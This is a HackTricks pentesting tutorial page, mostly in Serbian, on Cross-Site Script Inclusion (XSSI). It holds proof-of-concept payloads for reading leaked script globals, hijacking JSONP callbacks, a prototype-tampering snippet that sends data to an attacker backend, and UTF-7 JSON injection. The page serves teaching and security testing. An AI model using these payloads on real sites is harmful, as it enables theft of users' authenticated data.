hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

100 lines
7.5 KiB
Markdown
Raw Normal View History

# XSSI (Cross-Site Script Inclusion)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-02-03 14:45:32 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Basic Information
**Cross-Site Script Inclusion (XSSI)** je ranjivost koja proističe iz prirode `script` taga u HTML-u. Za razliku od većine resursa, koji podliježu **Same-Origin Policy (SOP)**, skripte se mogu uključivati iz različitih domena. Ovo ponašanje je zamišljeno da olakša korišćenje biblioteka i drugih resursa hostovanih na različitim serverima, ali takođe uvodi potencijalni sigurnosni rizik.
### Key Characteristics of **XSSI**:
- **Zaobilaženje SOP**: Skripte su izuzete iz **Same-Origin Policy**, što im omogućava da se uključuju između domena.
- **Izloženost podataka**: Napadač može iskoristiti ovo ponašanje da pročita podatke učitane putem `script` taga.
- **Uticaj na dinamički JavaScript/JSONP**: **XSSI** je posebno relevantan za dinamički JavaScript ili **JSON with Padding (JSONP)**. Ove tehnologije često koriste informacije "ambient-authority" (kao što su kolačići) za autentifikaciju. Kada se zahteva skripta sa drugog hosta, ove akreditive (npr. kolačiće) automatski uključuju u zahtev.
- **Curjenje autentifikacionih tokena**: Ako napadač može da prevari korisnikov pretraživač da zatraži skriptu sa servera koji kontroliše, može imati pristup osetljivim informacijama sadržanim u tim zahtevima.
### Types
1. **Static JavaScript** - Ovo predstavlja konvencionalni oblik XSSI.
2. **Static JavaScript with Authentication** - Ova vrsta je posebna jer zahteva autentifikaciju za pristup.
3. **Dynamic JavaScript** - Uključuje JavaScript koji dinamički generiše sadržaj.
4. **Non-JavaScript** - Odnosi se na ranjivosti koje ne uključuju JavaScript direktno.
**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.
### Regular XSSI
U ovom pristupu, privatne informacije su ugrađene unutar globalno dostupne JavaScript datoteke. Napadači mogu identifikovati ove datoteke koristeći metode kao što su čitanje datoteka, pretrage ključnih reči ili regularne izraze. Kada se lociraju, skripta koja sadrži privatne informacije može se uključiti u zlonamerni sadržaj, omogućavajući neovlašćen pristup osetljivim podacima. Primer tehnike eksploatacije je prikazan u nastavku:
2024-02-05 02:29:11 +00:00
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
Ove vrste XSSI napada uključuju poverljive informacije koje se dinamički dodaju u skriptu kao odgovor na korisnikov zahtev. Detekcija se može izvršiti slanjem zahteva sa i bez kolačića i upoređivanjem odgovora. Ako se informacije razlikuju, to može ukazivati na prisustvo poverljivih informacija. Ovaj proces se može automatizovati korišćenjem alata kao što je [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp ekstenzija.
Ako su poverljivi podaci pohranjeni u globalnoj promenljivoj, mogu se iskoristiti slične metode kao u Regular XSSI. Međutim, ako su poverljivi podaci uključeni u JSONP odgovor, napadači mogu preuzeti funkciju povratnog poziva kako bi dobili informacije. To se može uraditi ili manipulisanjem globalnim objektima ili postavljanjem funkcije koja će biti izvršena od strane JSONP odgovora, kao što je prikazano u nastavku:
2024-02-05 02:29:11 +00:00
```html
<script>
2024-02-10 13:11:20 +00:00
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
2024-02-05 02:29:11 +00:00
```html
<script>
2024-02-10 13:11:20 +00:00
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Za promenljive koje se ne nalaze u globalnom imenskom prostoru, *prototype tampering* se ponekad može iskoristiti. Ova tehnika koristi dizajn JavaScript-a, gde interpretacija koda uključuje prolazak kroz prototip lanac da bi se locirala pozvana svojstva. Predefinisanjem određenih funkcija, kao što je `Array`-ova `slice`, napadači mogu pristupiti i otkriti ne-globalne promenljive:
```javascript
Array.prototype.slice = function(){
2024-02-10 13:11:20 +00:00
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Dalje informacije o napadnim vektorima mogu se naći u radu istraživača bezbednosti [Sebastian Lekies](https://twitter.com/slekies), koji održava listu [vektora](http://sebastian-lekies.de/leak/).
2024-02-05 02:29:11 +00:00
### Non-Script-XSSI
Istraživanje Takeshija Terade uvodi još jedan oblik XSSI, gde se Non-Script datoteke, kao što su CSV, otkrivaju preko različitih domena tako što se uključuju kao izvori u `script` tag. Istorijski primeri XSSI, kao što su napad Jeremiah Grossmana iz 2006. godine za čitanje kompletnog Google adresara i curenje JSON podataka Joea Walkera iz 2007. godine, ističu ozbiljnost ovih pretnji. Pored toga, Gareth Heyes opisuje varijantu napada koja uključuje UTF-7 kodirani JSON kako bi se izbegao JSON format i izvršili skripti, što je efikasno u određenim pregledačima:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
2024-02-05 02:29:11 +00:00
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Podržite HackTricks</summary>
2024-02-03 14:45:32 +00:00
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}